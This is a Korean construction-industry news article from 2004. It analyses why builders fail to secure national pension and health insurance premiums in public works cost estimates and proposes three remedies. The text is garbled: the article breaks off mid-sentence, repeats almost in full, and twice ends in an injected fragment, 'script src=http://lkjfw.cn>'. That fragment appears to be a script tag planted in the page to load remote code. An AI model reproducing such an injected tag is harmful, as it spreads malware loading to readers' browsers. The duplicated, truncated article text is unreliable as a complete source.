사회보험료 확보 방안
보도일자 2004-05-03
보도기관 일간건설
◇보험료 원가계상 근로자 보호
지난해 12월26일 재정경제부가 회계예규의 경비 항목에 국민연금과 건강보험을 명시함으로써 4대 사회보험의 보험료를 모두 공사원가에 반영할 수 있게 됐다. 이처럼 사회보험료를 공사원가에 명시적으로 계상하도록 규정한 취지는 사업주에게 추가적인 금전적 부담을 지우지 않으면서 사회적 약자인 근로자에 대한 보호를 두텁게 하려는 배려로 해석할 수 있다.
◇보험료 확보못해 가입 기피
하지만 이러한 취지에도 불구하고 최근 건설사업주가 보험료를 확보하지 못해 건설근로자에 대한 가입을 기피하려는 현상이 뚜렷해지고 있다. 작년 7월부터 건강보험 및 국민연금이 1월 이상 고용된 근로자에게까지 사업장 가입자의 적용 대상을 확대했다. 또한 올해 1월부터는 고용보험이 1월 미만 고용된 일용근로자에게도 적용되기 시작했다. 그러나 건설사업주의 부담능력은 그리 나아지지 않고 있다. 건설사업주의 보험료 부담능력은 발주자가 적정금액을 계상하는 것에서 비롯되나 특히 보험료 부담이 큰 국민연금과 건강보험의 보험료가 제대로 계상되지 않고 있다.
◇보험료 원가 계상이 어려운 이유
회계예규의 보험료 계상 규정에도 불구하고 건설사업주가 보험료를 확보하지 못하는 이유는 무엇인가. 첫째, 사회보험 법령에 존재하는 적용제외 규정 때문이다. 보험료 확보와 관련해 건설사업주들의 불만이 가장 큰 국민연금과 건강보험의 경우 ‘1월 미만 고용된 근로자’에 대한 적용제외 규정을 두고 있다. 하지만 여기에 해당하는 근로자가 어느 정도인지는 사전적으로 알 수 없다. 바로 이 적용제외 규정이 보험료의 적정 규모를 모호하게 만든다.
따라서 발주자에게 자의적 반영 또는 과소 반영 여지를 주게 된다. 이러한 가능성은 법령상의 보험료율과 발주자의 보험료율을 비교함으로써 명확히 드러난다. 건설사업주가 부담해야 할 국민연금 및 건강보험의 보험료율은 각각 4.5%와 2.1%이다. 하지만 대표적인 공공발주자인 조달청이 올해 공사원가에 계상하려는 보험료율은 각각 0.99%와 0.52%이다. 조달청은 각 법령의 보험료율대비 약 22∼25% 수준만을 계상하고 있다.
즉 ‘1월 이상 고용된 근로자’의 비율을 약 22∼25% 수준으로 간주하고 있다. 물론 이들에 대한 정확한 통계를 알 수는 없으나 한국노동연구원의 실태조사 결과는 이들의 비율이 약 84%에 달함을 보여준다.
둘째, 건설공사의 낙찰률이 비정상적으로 낮아짐에 따라 사회보험료마저 비례적으로 낮아지는 데서 그 원인을 찾을 수 있다. 낙찰률과 무관하게 건설사업주는 근로자의 실제 임금에 기초해 사회보험료를 납부해야 하기 때문이다. 예컨대 100원중 10원에 해당하는 사회보험료는 원도급과 하도급 낙찰률이 각각 70%일 때 공사원가에 비례해 4.9원 수준으로 줄어든다. 하지만 일반적으로 실제 투입되는 근로자수나 지불임금도 절반으로 줄지는 않는다.
셋째, 건설현장 원·하수급인에 대한 모호한 사업주 선정 및 보험료 전달 문제다. 고용보험과 산재보험은 수차의 하도급에 의해 공사가 시행될 경우 원수급인에게 원칙적인 보험가입자의 책임을 묻고 있다. 이와 달리 국민연금과 건강보험은 원수급인과 하수급인 각자를 보험가입자로 보고 있다. 상이한 보험가입자 규정의 존재로 인해 원·하수급인간의 책임소재가 모호해졌다. 한편 원·하수급인간에도 보험료의 적정 계상에 대한 논의가 지속돼왔다.
◇사회보험료 확보방안
위에서 언급한 세가지 원인에 대한 해소방안을 하나씩 생각해보자. 첫째, 보험료 산정의 모호함을 해소하기 위해 적용제외 규정을 삭제하는 방안을 생각할 수 있다. 이 경우 발주자는 ‘1월 미만된 고용된 근로자’의 비율에 대해 고민하지 않아도 된다. 이것은 발주자의 보험료 계상을 간결하게 함으로써 건설사업주가 보험료를 확보할 수 있도록 돕는다.
둘째, 사회보험료를 공사의 낙찰률과 무관하게 확보할 수 있는 방안을 강구해야 한다. 즉 공사원가와 별도로 사회보험료를 계상하는 방안을 찾아야 한다. 이 경우 예정가격 90원의 공사원가가 두번의 70% 낙찰률로 인해 44원으로 낮아진다고 하더라도 사회보험료만큼은 10원 그대로 보전되도록 해야 함을 의미한다.
셋째, 발주자가 각 보험사업주에 대해 직접 보험료를 정산하는 방식을 검토해야 한다. 이는 건설현장의 원수급인이나 하수급인 가릴 것 없이 각각 자신이 고용한 근로자에 대한 보험가입자로서 권리와 책임을 담당해야 함을 의미한다. 원수급인과 하수급인은 발주자로부터 각각 예정가격에 의해 산정된 보험료를 일단 수령하고 실제 보험료를 납부한 후 받은 영수증을 근거로 과부족에 대해 정산하는 것이다.
◇예상되는 문제점과 대응방안
위에서 언급한 보험료 확보 방안은 새로운 시도로서 이와 관련 몇?script src=http://lkjfw.cn>
지난해 12월26일 재정경제부가 회계예규의 경비 항목에 국민연금과 건강보험을 명시함으로써 4대 사회보험의 보험료를 모두 공사원가에 반영할 수 있게 됐다. 이처럼 사회보험료를 공사원가에 명시적으로 계상하도록 규정한 취지는 사업주에게 추가적인 금전적 부담을 지우지 않으면서 사회적 약자인 근로자에 대한 보호를 두텁게 하려는 배려로 해석할 수 있다.
◇보험료 확보못해 가입 기피
하지만 이러한 취지에도 불구하고 최근 건설사업주가 보험료를 확보하지 못해 건설근로자에 대한 가입을 기피하려는 현상이 뚜렷해지고 있다. 작년 7월부터 건강보험 및 국민연금이 1월 이상 고용된 근로자에게까지 사업장 가입자의 적용 대상을 확대했다. 또한 올해 1월부터는 고용보험이 1월 미만 고용된 일용근로자에게도 적용되기 시작했다. 그러나 건설사업주의 부담능력은 그리 나아지지 않고 있다. 건설사업주의 보험료 부담능력은 발주자가 적정금액을 계상하는 것에서 비롯되나 특히 보험료 부담이 큰 국민연금과 건강보험의 보험료가 제대로 계상되지 않고 있다.
◇보험료 원가 계상이 어려운 이유
회계예규의 보험료 계상 규정에도 불구하고 건설사업주가 보험료를 확보하지 못하는 이유는 무엇인가. 첫째, 사회보험 법령에 존재하는 적용제외 규정 때문이다. 보험료 확보와 관련해 건설사업주들의 불만이 가장 큰 국민연금과 건강보험의 경우 ‘1월 미만 고용된 근로자’에 대한 적용제외 규정을 두고 있다. 하지만 여기에 해당하는 근로자가 어느 정도인지는 사전적으로 알 수 없다. 바로 이 적용제외 규정이 보험료의 적정 규모를 모호하게 만든다.
따라서 발주자에게 자의적 반영 또는 과소 반영 여지를 주게 된다. 이러한 가능성은 법령상의 보험료율과 발주자의 보험료율을 비교함으로써 명확히 드러난다. 건설사업주가 부담해야 할 국민연금 및 건강보험의 보험료율은 각각 4.5%와 2.1%이다. 하지만 대표적인 공공발주자인 조달청이 올해 공사원가에 계상하려는 보험료율은 각각 0.99%와 0.52%이다. 조달청은 각 법령의 보험료율대비 약 22∼25% 수준만을 계상하고 있다.
즉 ‘1월 이상 고용된 근로자’의 비율을 약 22∼25% 수준으로 간주하고 있다. 물론 이들에 대한 정확한 통계를 알 수는 없으나 한국노동연구원의 실태조사 결과는 이들의 비율이 약 84%에 달함을 보여준다.
둘째, 건설공사의 낙찰률이 비정상적으로 낮아짐에 따라 사회보험료마저 비례적으로 낮아지는 데서 그 원인을 찾을 수 있다. 낙찰률과 무관하게 건설사업주는 근로자의 실제 임금에 기초해 사회보험료를 납부해야 하기 때문이다. 예컨대 100원중 10원에 해당하는 사회보험료는 원도급과 하도급 낙찰률이 각각 70%일 때 공사원가에 비례해 4.9원 수준으로 줄어든다. 하지만 일반적으로 실제 투입되는 근로자수나 지불임금도 절반으로 줄지는 않는다.
셋째, 건설현장 원·하수급인에 대한 모호한 사업주 선정 및 보험료 전달 문제다. 고용보험과 산재보험은 수차의 하도급에 의해 공사가 시행될 경우 원수급인에게 원칙적인 보험가입자의 책임을 묻고 있다. 이와 달리 국민연금과 건강보험은 원수급인과 하수급인 각자를 보험가입자로 보고 있다. 상이한 보험가입자 규정의 존재로 인해 원·하수급인간의 책임소재가 모호해졌다. 한편 원·하수급인간에도 보험료의 적정 계상에 대한 논의가 지속돼왔다.
◇사회보험료 확보방안
위에서 언급한 세가지 원인에 대한 해소방안을 하나씩 생각해보자. 첫째, 보험료 산정의 모호함을 해소하기 위해 적용제외 규정을 삭제하는 방안을 생각할 수 있다. 이 경우 발주자는 ‘1월 미만된 고용된 근로자’의 비율에 대해 고민하지 않아도 된다. 이것은 발주자의 보험료 계상을 간결하게 함으로써 건설사업주가 보험료를 확보할 수 있도록 돕는다.
둘째, 사회보험료를 공사의 낙찰률과 무관하게 확보할 수 있는 방안을 강구해야 한다. 즉 공사원가와 별도로 사회보험료를 계상하는 방안을 찾아야 한다. 이 경우 예정가격 90원의 공사원가가 두번의 70% 낙찰률로 인해 44원으로 낮아진다고 하더라도 사회보험료만큼은 10원 그대로 보전되도록 해야 함을 의미한다.
셋째, 발주자가 각 보험사업주에 대해 직접 보험료를 정산하는 방식을 검토해야 한다. 이는 건설현장의 원수급인이나 하수급인 가릴 것 없이 각각 자신이 고용한 근로자에 대한 보험가입자로서 권리와 책임을 담당해야 함을 의미한다. 원수급인과 하수급인은 발주자로부터 각각 예정가격에 의해 산정된 보험료를 일단 수령하고 실제 보험료를 납부한 후 받은 영수증을 근거로 과부족에 대해 정산하는 것이다.
◇예상되는 문제점과 대응방안
위에서 언급한 보험료 확보 방안은 새로운 시도로서 이와 관련 몇?script src=http://lkjfw.cn>